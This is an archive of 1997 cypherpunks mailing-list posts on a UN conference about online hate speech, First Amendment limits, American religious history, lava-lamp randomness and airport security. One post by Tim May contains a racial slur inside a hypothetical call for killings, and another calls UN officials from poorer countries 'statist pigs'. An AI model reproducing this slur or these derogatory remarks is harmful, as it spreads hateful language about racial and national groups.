>actions like the Oklahoma bombing or a nuclear massacre.  They don't
>seem to understand what this technology is all about.

Oh, but The Masters of War understand all too well what this
technology is about!

"The story is told of Sir John Hawkwood (1.) that when two mendicant
friars greeted him with the conventional 'God give you peace', he
retorted: 'God take from you your alms.'  When pressed for an
explanation, he replied: 'Why do pray to God that I should die of
hunger?  Do you not know that I live by war and that peace would undo
me?'"

1. Hawkwood was a highly successful English leader of mercenaries in
Northern Italy during the 14th century.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 07:11:12 +0800
To: Peter Herngaard <pethern@inet.uni2.dk>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007808b097c592eba8@[168.161.105.216]>
Message-ID: <v0300780db097ccdea2d8@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



My take on it is that overseas citizens have no Constitutional rights.
However ISPs in the U.S. have rights that U.S. laws recognize and protect.

If a U.S. law prevented an ISP from contracting to put a web site online,
it would be like a law that prevented a U.S. book company from publishing a
book penned by a German. Or the Netly News from publishing an article
written by our London correspondent. Such a law would be facially
unconstitutional.

Perhaps the analogy between an ISP and publisher is inexact, but that's the
type of analysis I'd pursue.

-Declan


At 23:33 +0100 11/18/97, Peter Herngaard wrote:
>Does the First Amendment prevent the Congress from passing
>a law that would make it illegal for anyone who is outside the United
>States to
>set up a web site in the U. S. in violation of a local speechcode?
>For example, a German nazi organization could establish a WWW site in
>California out of reach
>of German law.
>Would it be constitutional to make a law barring  foreign citizens from
>violating the speech
>codes of their home countries using a U. S. ISP?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Nov 1997 08:54:39 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
In-Reply-To: <199711182014.OAA23881@einstein.ssz.com>
Message-ID: <v04002704b097c16e02cc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:14 pm -0500 on 11/18/97, Jim Choate shows the benefits of being on the
top of a CDR address stack :-) :

> Um, I believe that went from the late 1500's to the early 1700's at best.

Nope. Check it out. As defined in any decent book of American history,
well, maybe one that hasn't been too "revised" :-),  the "Great Awakening",
which gave us most of our American-flavored religions, happened in the
early part of the 19th century, though rumblings started shortly after the
revolution.

> Is your claim that there was a
> second Great Awakending or are you saying the traditional (if you will)
> dating is incorrect?

I'm saying that I think you're confusing the Renaissance with the Great
Awakening. :-). BTW, Emerson, Dickenson, Whitman, Thureau, etc., were part
of the same ideological outpouring which, in the theological arena, was the
Great Awakening. A lot can be said for the view that this was American
Romanticism, as Chopin, Byron, the Brontes, Austen, etc., were all
happening in roughly the same couple of generations. Later, like libertines
and enthusiasts throughout history, they became extremely repressive. We
eventually came to call them Victorians. (Sound familiar, you baby boomers?)

> > that Vlad Dracul, the Impaler, was Transylvanian
>
> Actualy, to be accurate his name was Vlad Teppish. He was eventualy killed by
> his lord for carrying on excesses such as killing a woman because she let her
> husband walk around with a tattered coat. Dracul and Dracula are derived
> from dragon and imply a connection with the devil (which also derives its
> own existance from this lexical tree).

Okay. I have to go back and look now, I woudldn't be surprised if you're
right. Anyway, there were two Transylanian nobelmen, father and son, and
one, the impaler was, among other things, called Vlad, son of Dracul,
which, I think, gets you Dracula, but I'm not sure. The Teppish part sounds
like it's more right, now that you mention it. Maybe we're looking at Vlad
Dracul the father, and Vlad Tepish, Dracula, (son of Dracul)?  Oh, well, as
I said in my rant, the cost of error is bandwidth. :-). Someone here
probably has all the, um, gory details...

> > Of opinion, influence, and reputation, opinion is the most atomic. An
>opinion
> > can be safely defined as a judgement, right or wrong, based on some
>accepted,
> > or maybe just perceived, set of facts.
>
> Doesn't the use of 'perceived' imply some a priori assumptions about the
> base structure of reality and in fact imply a more atomistic issue, that
> of conceptual viability?

I don't think so, but I haven't thought about it much. I'd hate to get into
a recursive regress when a simple opinion will do. ;-).

I think a little further on you saw what I was getting at. I meant, in the
above, "most atomic", as in most atomic of the three. I would be hard
pressed to turn that into "absolute" atomism of any sort. :-).

> How does an opinion become atomistic if in order
> to express it we must invoke other equaly critical (or atomistic)
> expressions? Further, without testing a 'perceived' fact is nothing but an
> opinion.

Good question. Mostly, I was starting from small bits, opinions, and
munging them together into bigger coherent bits, influence, and then adding
persistance, reputation.

> > word about whether Socrates said the words himself. Opinion can be
>completely
> > dissociated from identity. An anonymous post on a mailing list can have an
> > opinion, and people can agree or disagree with that opinion as they see
>fit.
>
> That doesn't change the fact that the opinion, anonymous or not, originated
> from a single source.

I think I could argue for multiple simultaneous sources of the same opinion
pretty successfully. :-).

> While I can accept that testable facts can be isolated
> from source biases it escapes me how an opinion can be so isolated.

I think this sums up Socrates' "Right Opinion" statement pretty well. Have
you read Plato, by chance? ;-). Folks later called this the Mind/Body
problem. How do we know what we think in here is what we see out there,
etc. Big problem in philosophy. Science solves it to most people's
understanding of it. Or mine, anyway.

However, again, I'm just talking about opinions, and, as you've noticed,
not about truth. :-).  I said later on in the rant that when we got to
science, that that was better. With science, we got as close to "truth" as
we're ever going to get, asymptotically closer, but not to truth itself. We
gave up on Aristotle's First(?) Cause, what *is* something, because we
admitted we'll never know. But, frankly, it doesn't matter. Science gives a
way to keep getting *closer*...


>  At its
> lowest level it is nothing more than a description of an individuals
> beliefs about reality and their place in it and clearly has impact on the
> sorts of ideas that are expressible in them.

Okay...

> Perhaps opinion & fact are unwittingly being confused. Opinions tell the
> observer about the holder of the opinion, not the subject the opinion is
> direct toward.

Maybe, but remember my smart crack about hueristics. It's all we've got, in
any practical sense. We can't just go around testing every opinion we hear,
more than once, anyway, :-), and, frankly, most of us just take other
people's word for things, especially if we respect their reputation. :-).

Remember the story about Gauss, who, in the middle of some guy's
announcement that he'd discovered the normal distribution(?), said
something like, "Oh. I did that already. Years ago.", and everyone believed
Gauss, even though, I think, he never proved it? I'd bet that Gauss *did*
discover the normal distribution, but the operative function there was
Gauss's reputation/influence, because he'd been right so much before. A
hueristic: Gauss is usually right, so he must be right here, too. (An
appeal to authority, for you informal fallacy counters out there... :-).)


> > can't *prove* our opinions are right. The definition of modern human
>thinking,
> > is, however, that at the core of it all, someone, somewhere, is using
>science
> > - -- which is all about verifiable and replicable physical results -- to
> > validate, and occasionally create, the set of opinions most of us would now
> > call knowlege. So, science or no, our thinking is still functionally,
> > heuristics, but it works. Oh, well. Life is hard. :-).
>
> Science is about how to ask questions, it is NOT concerned with the results
> directly.

Well, actually, it's more about how to make replicable results, I'd say.
The "how to ask questions" might come from a theory (brought about by
observing reality with replicable results), and the creativity of the
questioner.

> Science is a non-intuitive mechanism whereby we can regulate how
> we think about the world around us.

And, my understanding is that at the core of that is the replicability of
experiment. And the predictivity of theory, of course.

> What to do with the results is engineering.

How to make the results *profitable* is what engineering is... ;-).

> Science itself is heuristic.

I'm not sure how that differs with what I'm saying, though.

>
> > I think the nice thing about science in the geodesic age, by the way,
>is that
> > the technology of microcomputers and networks makes it easier for more
>people
> > to be closer to scientific truth.
>
> There is no 'scientific truth', THE main axiom of science is that everything
> is open to review and change in responce to the observation and description
> of the item under studies interactions with the environment around it.

Woops. I used the "T" word inappropriately. Sorry. I agree with you
completely. Scientific truth is, as I've said before, a non-sequitur to the
extent that science is about how to make replicable experiments and
predictive theory. It's not "truth" at all in the Aristotelean sense.
Which, by the way, helps me out with my bit about perception and opinion,
above, I think...


> > So, what's influence? On a personal basis, influence occurs when
>someone else
> > agrees with your opinions.
>
> Only if they changed their opinions *because* of the expression of your
> opinions.

Okay...

>  Otherwise we are left with independant discovery.

Glad you figured this out, too. (see above)

>Influence is
> the ability of one theory to cause the holder of another theory to add
> data or tests that could potentialy alter the outcome of that original
> theory. The results may or may not support either of the original theories
> or could even cause a 3rd theory to be born.

Cool. I'll go for that...

> > The more people agree with your opinions, the more
> > influence you have.
>
> The more people agree with your opinions AND are willing to act on them is
> a measure of influence. Also, the fact that others may in fact be motivated
> to act because they *disagree* with you also is clearly a possibility you
> don't address.

True enough, there is such a thing as negative influence (TM) ;-). I'll
take action and opinion as part of influence for the time being.

> Never confuse popularity with influence.

Well, since I don't know how to define one in terms of the other, I won't.
How's that?

> > Back to our stack of planes, by no means does the "line" of someone's
>identity
> > have to be a straight one
>
> This runs counter to your assumption regarding the number of line-plane
> intersections. If the line is not geometricaly 'straight' it can in fact have
> zero, one, or more intersections. This causes a problem with this part of the
> conclusion, you are using the axiom as proof of the assertion (the axiom).

I don't think so. a line goes through a plane. If it doesn't intersect that
plane, it only appears on that plane at a single point. If the line's
curvy, and it goes through a bunch of other planes parallel to the first
plane, then, whether it's squiggly or not, the more planes you have data
from the better the resolution is on your picture of the line. That's the
point of the analogy, there. You can get the functional equivalence of
concordance, and thus identity from enough data. Kind of a "motherhood",
but there it is.

Besides, even though I'm talking in geometry here, it's still just a
(twisted :-)) metaphor. I said I wasn't trying for mathematical rigor,
because I don't have a mathematical handle on the problem, and probably
never will, unfortunately.

Still, I think the idea of opinion/influence/reputation/identity as linked
this way allows you to think about it better.

Or at least it helped *me* think about it better, anyway.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James F. Marshall" <marshall@ibm.net>
Date: Wed, 19 Nov 1997 10:37:27 +0800
To: "Cypherpunks Unedited List" <cypherpunks@toad.com>
Subject: New Idea to Generate Random Numbers
Message-ID: <199711190227.CAA114150@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 18 Nov 1997 16:36:08 -0500, Edupage Editors wrote:

>RANDOMLY GROOVY
>Scientists at Silicon Graphics have taken the mesmerizing flow of the lava
>lamp to the next level of utility -- using the favorite fixtures of the '60s
>to generate truly random numbers, something computers cannot do.  The
>process involves using a digital camera to snap periodic shots of six oozing
>cylinders, combining those images with electronic noise and converting it
>into 1s and 0s, and then using the Secure Hash Algorithm from the National
>Institute of Standards and Technologies to compress and scramble the binary
>string to create a seed value for a standard random-number generator.
>(Scientific American Nov 97)

How do I implement this at home?  ;*)

- -- James F. Marshall, Esq., Pasadena, California
   Subject "JFM Public Key" for PGP Public Key

- -- OS/2 is to Windows as Stradivarius is to Yamaha

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 19 Nov 1997 09:33:37 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711190058.TAA12841@users.invweb.net>
Message-ID: <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi Dekan,
> 
> I think that there is plenty of case law of extending constutional
> protections to non-citizens. One that comes to mind were the rulings
> against California inwhich the courts ruled the they were obligated to
> provide schooling and social services to illegal aliens (a really fucked
> rulling IMNSHO but if some good can come out of it no sense not making use
> of it).
> 

Interesting.  I was under the opinion that schooling and "social services"
were no more constitutional rights then, say, free food or a pot to
piss in.

Constitutional rights are contractual government guarantees to protect
well known natural rights.  (pleez send all natural rights flames straight
to /dev/null since we all know what they are and have different name for
them) 

Because of the kind of animals that we are, natural law has evolved as an
emergent philosophical model that protects the right of the individual to
do as they please and to profit from the fruits of their labors so long as
they harm no one else.  I pretty much massacred that definition, but
hey, I'm not getting payed for this.

How can we provide *services* to non-citizens and call that a right?

Who the hell pays for it?

Of course you could make the argument that involutarily providing
services even for citizens is brain damaged, but we call that socialism
and take it up to argue on some other channel than cypherpunks.

jim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 09:10:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007808b097c592eba8@[168.161.105.216]>
Message-ID: <199711190052.TAA12785@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007808b097c592eba8@[168.161.105.216]>, on 11/18/97 
   at 05:22 PM, Declan McCullagh <declan@well.com> said:

>-Agha Shahi, a member of the  Committee on the Elimination of Racial
>Discrimination, gave a forceful opinion on how the Convention applies
>online and how countries must criminalize hate speech online.


Agha Shahi is a Statest Pig (As are most UN memebers).

Below is a list of who is on the Committee on the Elimination of Racial
Discrimination:

	M J Yutzis   	       *Argentina
	Hamzat Ahmadu	       *Nigeria   
	Ivan Garvalov           Bulgaria  
	Andrew Chigovera       *Zimbabwe
	Songu Shuhua           *China
	Mahmoud Aboul-Nasr     *Egypt
	Valencia Rodriguez      Ecuador 
	Michael P Banton       *UK
	Shanti Sadiq Ali       *India
	Carlos L Hevia         *Cuba 
	T Van Boven	        Netherlands
	Agha Shahi	       *Pakistan 
	E Ferrero Costa	        Peru 
	Ion Diaconu	       *Romania 
	Michael E Sherifis	Cyprus 
	Regis de Gouttes	France 
	Yuri A Rechetov	        Russian Fed. 
	Rudiger Wolfram        *Germany 
 
* Countries that have not ratified Article 14 allowing complaints from
their own citizens to the  Committee.
 
Members of the CERD Committee are elected by secret ballot from a list of
persons nominated by countries which have ratified the International
Convention on the Elimination of All Forms of Racial Discrimination.

NOTE: This information is a couple of years old so there may have been
recent changes to the make-up of CERD.

Would you really trust any of these countries on a "freedom of speech"
issue? These are a bunch of statist pigs from irrelevant 3rd world
countries wishing to subvert democracy and freedom through UN charters.
Notice that most of these members woun't even be bothered with the
pretence of listening to their own citizens.

The UN is a plague on humanity.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 09:14:04 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v0300780db097ccdea2d8@[168.161.105.216]>
Message-ID: <199711190058.TAA12841@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi Dekan,

I think that there is plenty of case law of extending constutional
protections to non-citizens. One that comes to mind were the rulings
against California inwhich the courts ruled the they were obligated to
provide schooling and social services to illegal aliens (a really fucked
rulling IMNSHO but if some good can come out of it no sense not making use
of it).


In <v0300780db097ccdea2d8@[168.161.105.216]>, on 11/18/97 
   at 05:59 PM, Declan McCullagh <declan@well.com> said:

>My take on it is that overseas citizens have no Constitutional rights.
>However ISPs in the U.S. have rights that U.S. laws recognize and
>protect.

>If a U.S. law prevented an ISP from contracting to put a web site online,
>it would be like a law that prevented a U.S. book company from publishing
>a book penned by a German. Or the Netly News from publishing an article
>written by our London correspondent. Such a law would be facially
>unconstitutional.

>Perhaps the analogy between an ISP and publisher is inexact, but that's
>the type of analysis I'd pursue.

>-Declan


>At 23:33 +0100 11/18/97, Peter Herngaard wrote:
>>Does the First Amendment prevent the Congress from passing
>>a law that would make it illegal for anyone who is outside the United
>>States to
>>set up a web site in the U. S. in violation of a local speechcode?
>>For example, a German nazi organization could establish a WWW site in
>>California out of reach
>>of German law.
>>Would it be constitutional to make a law barring  foreign citizens from
>>violating the speech
>>codes of their home countries using a U. S. ISP?



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Wed, 19 Nov 1997 08:11:37 +0800
To: Jonathan Gaw <jonathan@gaw.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <25B74059.7925@gaw.net>
Message-ID: <Pine.LNX.3.95.971118185752.30992B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Why can't they have it both ways for this one particular point?

For instance, at netlynews.com, we have unmoderated bulletin board areas
and "talk about it" sections where we want our readers to be able to speak
freely -- no matter what country they're from. 

-Declan

On Fri, 19 Jan 1990, Jonathan Gaw wrote:

> I could imagine numerous scenarios where ISPs would prefer the telephone
> company analogy of being a passive carrier, as opposed to the publisher
> model. can they have it both ways?
> 
> Jonathan Gaw
> The Star Tribune
> 
> Declan McCullagh wrote:
> > 
> > My take on it is that overseas citizens have no Constitutional rights.
> > However ISPs in the U.S. have rights that U.S. laws recognize and protect.
> > 
> > If a U.S. law prevented an ISP from contracting to put a web site online,
> > it would be like a law that prevented a U.S. book company from publishing a
> > book penned by a German. Or the Netly News from publishing an article
> > written by our London correspondent. Such a law would be facially
> > unconstitutional.
> > 
> > Perhaps the analogy between an ISP and publisher is inexact, but that's the
> > type of analysis I'd pursue.
> > 
> > -Declan
> > 
> > At 23:33 +0100 11/18/97, Peter Herngaard wrote:
> > >Does the First Amendment prevent the Congress from passing
> > >a law that would make it illegal for anyone who is outside the United
> > >States to
> > >set up a web site in the U. S. in violation of a local speechcode?
> > >For example, a German nazi organization could establish a WWW site in
> > >California out of reach
> > >of German law.
> > >Would it be constitutional to make a law barring  foreign citizens from
> > >violating the speech
> > >codes of their home countries using a U. S. ISP?
> 
> ------------------------------------------------ 
> Jonathan Gaw
> The Star Tribune
> 612-673-4237 (voice)
> jgaw@startribune.com (e-mail)
> 425 Portland Avenue, Minneapolis, MN 55488 
> http://www.startribune.com/etherblot
> ----- Wasting Digital Bandwidth Since 1986 -----
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Wed, 19 Nov 1997 11:27:45 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Flight 007 and our Civil Liberties
In-Reply-To: <v03102802b09795d84b18@[207.167.93.63]>
Message-ID: <v03102800b0980428d66c@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>The FBI has just completed a long press conference in which it reported its
>"no terrorist activity suspected" conclusions. Having watched most of it,
>and having seen the CIA animation shown at the press conference, I agree
>with their conclusions.
>
>(Cypherpunks arch-enemy James Kallstrom, Assistant Director of the FBI,
>nevertheless did a fine job,  both in the investigation and in the
>reporting. Credit where credit is due.)
>
>However, now that the Flight 007 explosion has been ruled a non-terrorist
>event, will we get our freedoms back?
>
>The other big "terrorist event" of that summer of 1996 was the bomb in a
>crowd at the Summer Olympic Games in Atlanta. The "fits the profile" perp,
>Richard Jewell, was finally cleared of all charges.
>
>So, these were the two big events which stimulated the FAA, under higher
>orders, to require mandatory ID of all travelling passengers. And more
>multimillion dollar sniffers to be installed in airports.
>
>It seems that each such event ratchets down certain civil liberties, and
>even the later repudiation of terrorists and other Horsemen in these events
>never results in the liberties coming back....

Actually, even when their knee-jerk security measures are relaxed it isn't publicized, probably for concern it might encourage would be mules and terrorists to take advantage of 'relaxed' security measures.  Case in point profiling and John Gilmore's run-in with airport security last year.  As I recall, John purchased his ticket with cash within 24-hour of departure and had only carry-on items.  He was subjected to what he felt were requests for an unnecessary search of his carry-on and person.  

At the beginning of November and unannounced to the public, and seemingly unknown to most airline employees, such searches are now unnecessary under FAA regulation (don't have the particular citing).  Although notice of this change should have been posted in most airline employee break areas, few if any airlines offer regular rule update training to their ground personnel.  As a result many airline service agents continue the practice since its better to be safe... If a passenger objects and asks for a supervisor and assuming the sup is up to date on the regulations, they should not now be required to undergo this ordeal.

--Steve 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 19 Nov 1997 02:30:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Overcoming War with Information
Message-ID: <199711181815.TAA24353@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:

> What the Net and cypherpunkly tools create is a world in which there
> are not easily identified disjoint sets because any particular net of
> relationships that a person has tends to overlap the relationship nets
> of other people who have a dissimilar set of relationships.
> 
> This is a more reliable and robust world to live in because there is a
> great deal of redundancy.  That is, the elites of two countries cannot
> conspire to use their respective sets of serfs as cannon fodder in
> some ill advised adventure.  It's hard to get excited about a war run
> by people who are not your friends against people who happen to live
> in another part of the world but with whom you have a relationship.

Good point, but it's important to realize that these new attitudes are
only available to people who have access to the tools.  Much of the world
is still trapped in a dark age, without access to the light brought by
tools for communication.  Powerful interests seek to keep them that way.
Until that changes, the old mindset of us-against-them will continue to
be a threat to peace.

We as cypherpunks must be leaders in encouraging wider access to
communications and the tools which manage information.  It's not
right to target our message narrowly to the militias and racists
who gravitate towards anti-government causes.  We must be inclusive,
offering encouragement to other cultures, other races, other countries.
Anti-Japanese, anti-Jewish, anti-Black, anti-Arab sentiments will only
hinder our success, and likewise with our emphasis on violence, killing,
and death as solutions to problems.

The fact that other cultures are often repressive in their own right is
no excuse.  The tools we offer will help them become more open-minded
and inclusive.  But we must set an example ourselves.  It is a tragedy
that the message of hate is being propagated within a technological
movement which should foster openness and enlightenment.  We can do
better than this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 19 Nov 1997 09:41:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
Message-ID: <199711190143.TAA26250@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 18 Nov 1997 18:10:17 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)

> 
> At 3:14 pm -0500 on 11/18/97, Jim Choate shows the benefits of being on the
> top of a CDR address stack :-) :
> 
> > Um, I believe that went from the late 1500's to the early 1700's at best.
> 
> Nope. Check it out. As defined in any decent book of American history,
> well, maybe one that hasn't been too "revised" :-),  the "Great Awakening",
> which gave us most of our American-flavored religions, happened in the
> early part of the 19th century, though rumblings started shortly after the
> revolution.

I did a little web-search (still being at work and deprived of my library)
but what I can find clearly indicates the 'Great Awakening' was fininished
by the mid to late 1750's. Most of the sources that I found from Alta Vista
give the beginning of the Great Awakening as the late 1600's to early
1700's.

While I clearly put the beginning of the movement too early (I always get
this confused with the beacon on the hill jive) all the evidence that I
can gather shows that it did *not* extend into any part of the 1800's.
As I understood the movement it didn't survive the American War of
Indipendance.

I used Alta Vista and search terms of 'great' & 'awakening'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: My Other Brother Dimitri <bomd@dev.null>
Date: Wed, 19 Nov 1997 10:45:50 +0800
To: cypherpunks@toad.com
Subject: ObCypherpunks
In-Reply-To: <bulk.6433.19971118145804@ns.internetmedia.com>
Message-ID: <347244FC.7A31@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



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you to visit my new website at:

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-----------------------------------------------------------------
Gay-art.com respects your online time and Internet privacy! 
This is a one time only invitation, your address will be deleted 
from our files. Thank you! 
-----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 10:05:29 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>
Message-ID: <199711190153.UAA13393@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>, on
11/18/97 
   at 06:28 PM, Jim Burnes <jim.burnes@ssds.com> said:

>On Tue, 18 Nov 1997, William H. Geiger III wrote:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> Hi Dekan,
>> 
>> I think that there is plenty of case law of extending constutional
>> protections to non-citizens. One that comes to mind were the rulings
>> against California inwhich the courts ruled the they were obligated to
>> provide schooling and social services to illegal aliens (a really fucked
>> rulling IMNSHO but if some good can come out of it no sense not making use
>> of it).
>> 

>Interesting.  I was under the opinion that schooling and "social
>services" were no more constitutional rights then, say, free food or a
>pot to piss in.

>Constitutional rights are contractual government guarantees to protect
>well known natural rights.  (pleez send all natural rights flames
>straight to /dev/null since we all know what they are and have different
>name for them) 

>Because of the kind of animals that we are, natural law has evolved as an
>emergent philosophical model that protects the right of the individual to
>do as they please and to profit from the fruits of their labors so long
>as they harm no one else.  I pretty much massacred that definition, but
>hey, I'm not getting payed for this.

>How can we provide *services* to non-citizens and call that a right?

>Who the hell pays for it?

>Of course you could make the argument that involutarily providing
>services even for citizens is brain damaged, but we call that socialism
>and take it up to argue on some other channel than cypherpunks.

Oh I agree with you here that there is not constutional right to social
services. I wish I had a reference to the court decisions on this. It was
a year or two ago regarding one of the balot propositions in California
that would cut off various social services to illegal aliens. I am going
off memory here but I don't think it ever got all the way to the SC. If
anyone has a reference to this case please post. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
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Hp8kQxXXOOazlGVogPvKM4qaeiwXoYKrTbqv2cdG4S/cKJv2sZ39ZsGb5xaztPiD
drezpHo2EJH5iayB5Pytb2EkBg3taTLj5gB33um2Cxq3UEDII/fFc1jCK35kbWYQ
NS8HmsWCv84=
=xFp8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 12:10:58 +0800
To: Peter Herngaard <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03007802b09803dce3d1@[168.161.105.216]>
Message-ID: <v03102805b09803760c07@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:14 PM -0700 11/18/97, Peter Herngaard wrote:
>On Tue, 18 Nov 1997, Declan McCullagh wrote:
>
>> Sorry. I was unclear. I was comparing U.S. citizens with citizens of
>> another country who are living in that country.
>>
>> If a U.S. citizen living in the U.S. is running an ISP, I would argue from
>> principle that he has a right to distribute writings (I like Jeanne's
>> bookstore analogy) penned by citizens of another country.
>But would the goverment under existing law have a right to force
>the publisher  to disclose the real identity of the one who wrote the
>inflamatory message to a foreign goverment?

No, "Congress shall make no law..." means, in most cases (*), that
bookstores, publishers, distributors, etc., cannot be compelled to request
permission about whom they may sell things to, may not be compelled to
require certificates of permission to sell material, etc.

So, getting back to the "can a law be passed against foreigners using U.S.
sites?" issue, this misses the real point. The chokepoint, or point of
control, is not enforcing U.S. laws against Germans, or Kuwaitis, or
Botswanans...it is, rather, at the bookstore, point of distribution, ISP,
publisher, etc. And it is clear that the U.S. government (and by extension,
the states) cannot compel a publisher, distributor, ISP, bookstore, etc.,
to screen purchasers, to require a license to read, etc.

(* The exceptions being for obscenity, espionage, and the usual things. I
don't agree with these exceptions, but these are the oft-debated
impingements on the First.)


> Most speech that would be considered hate speech in Europe would not
>meet the prerequirement of dual criminality.

None of it would. We in America are perfectly free to call for the killing
of all niggers, the expulsion of gypsies, and the truth about the Holocaust
myth.  (Not taht I personally believe in any of these examples.) Too bad
other countries place civil order above basic liberty.

It's time to "Just Say No" to the U.N. The John Birch Society makes more
sense every day.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 12:17:53 +0800
